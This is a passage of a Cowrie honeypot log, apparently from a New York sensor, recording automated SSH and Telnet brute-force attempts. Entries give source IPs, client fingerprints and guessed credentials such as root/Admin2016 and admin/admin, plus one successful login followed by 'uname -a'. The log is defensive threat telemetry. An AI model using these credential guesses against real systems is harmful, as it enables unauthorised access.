mac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.490376Z","src_ip":"211.221.196.103","session":"7bdc3436ed2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2016","message":"login attempt [root/Admin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:25.533132Z","src_ip":"27.71.230.31","session":"8e249cf15572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:26.123168Z","src_ip":"211.221.196.103","session":"7bdc3436ed2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"allen","message":"login attempt [allen/allen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:26.286757Z","src_ip":"123.58.215.196","session":"11ecac33b955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:27.333657Z","src_ip":"211.221.196.103","session":"7bdc3436ed2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:27.525996Z","src_ip":"123.58.215.196","session":"11ecac33b955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.221.196.103","src_port":51258,"dst_ip":"159.203.135.109","dst_port":22,"session":"899a8f44b409","protocol":"ssh","message":"New connection: 211.221.196.103:51258 (159.203.135.109:22) [session: 899a8f44b409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:27.533672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:27.537020Z","src_ip":"211.221.196.103","session":"899a8f44b409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:27.568543Z","src_ip":"27.71.230.31","session":"8e249cf15572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:27.763607Z","src_ip":"211.221.196.103","session":"899a8f44b409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:28.389097Z","src_ip":"211.221.196.103","session":"899a8f44b409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:29.603151Z","src_ip":"211.221.196.103","session":"899a8f44b409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.221.196.103","src_port":52738,"dst_ip":"159.203.135.109","dst_port":22,"session":"419ebd0c7305","protocol":"ssh","message":"New connection: 211.221.196.103:52738 (159.203.135.109:22) [session: 419ebd0c7305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:29.802407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:29.806513Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:30.016509Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:30.639982Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.318586587905884,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:30.879657Z","src_ip":"172.81.62.90","session":"b930261cb1da","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:31.083472Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:31.086967Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:31.293358Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:31.297196Z","src_ip":"211.221.196.103","session":"419ebd0c7305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":49168,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fd9593d7451","protocol":"ssh","message":"New connection: 91.92.40.8:49168 (10.17.0.5:22) [session: 8fd9593d7451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:39.166810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:39.533328Z","src_ip":"91.92.40.8","session":"8fd9593d7451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:39.536944Z","src_ip":"91.92.40.8","session":"8fd9593d7451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:41.437659Z","src_ip":"91.92.40.8","session":"8fd9593d7451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:35:42.967067Z","src_ip":"91.92.40.8","session":"8fd9593d7451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":53694,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25fa4d054cd","protocol":"ssh","message":"New connection: 190.128.201.18:53694 (159.203.135.109:22) [session: c25fa4d054cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:04.633588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:04.641660Z","src_ip":"190.128.201.18","session":"c25fa4d054cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:04.777845Z","src_ip":"190.128.201.18","session":"c25fa4d054cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipexternal","password":"sipexternal","message":"login attempt [sipexternal/sipexternal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:05.356810Z","src_ip":"190.128.201.18","session":"c25fa4d054cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:06.499386Z","src_ip":"190.128.201.18","session":"c25fa4d054cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39884,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a950bad07a2","protocol":"telnet","message":"New connection: 128.199.8.54:39884 (159.203.135.109:23) [session: 8a950bad07a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:35.985702Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":49310,"dst_ip":"10.17.0.5","dst_port":22,"session":"10810b00a124","protocol":"ssh","message":"New connection: 4.213.224.194:49310 (10.17.0.5:22) [session: 10810b00a124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:43.906786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:43.912953Z","src_ip":"4.213.224.194","session":"10810b00a124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:44.131534Z","src_ip":"4.213.224.194","session":"10810b00a124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59348,"dst_ip":"159.203.135.109","dst_port":22,"session":"4650f0b6362e","protocol":"ssh","message":"New connection: 2.57.122.238:59348 (159.203.135.109:22) [session: 4650f0b6362e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:44.930150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:44.949565Z","src_ip":"2.57.122.238","session":"4650f0b6362e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joy","password":"joy123","message":"login attempt [joy/joy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:44.953913Z","src_ip":"4.213.224.194","session":"10810b00a124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:45.059155Z","src_ip":"2.57.122.238","session":"4650f0b6362e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:45.379074Z","src_ip":"2.57.122.238","session":"4650f0b6362e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:46.150978Z","src_ip":"4.213.224.194","session":"10810b00a124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:46.486911Z","src_ip":"2.57.122.238","session":"4650f0b6362e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47910,"dst_ip":"159.203.135.109","dst_port":22,"session":"1987dca03563","protocol":"ssh","message":"New connection: 27.71.230.31:47910 (159.203.135.109:22) [session: 1987dca03563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:48.256715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:48.265393Z","src_ip":"27.71.230.31","session":"1987dca03563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:48.565558Z","src_ip":"27.71.230.31","session":"1987dca03563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55600,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca679ca5e88b","protocol":"ssh","message":"New connection: 193.37.70.224:55600 (159.203.135.109:22) [session: ca679ca5e88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:50.323480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:36:50.424418Z","src_ip":"193.37.70.224","session":"ca679ca5e88b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"m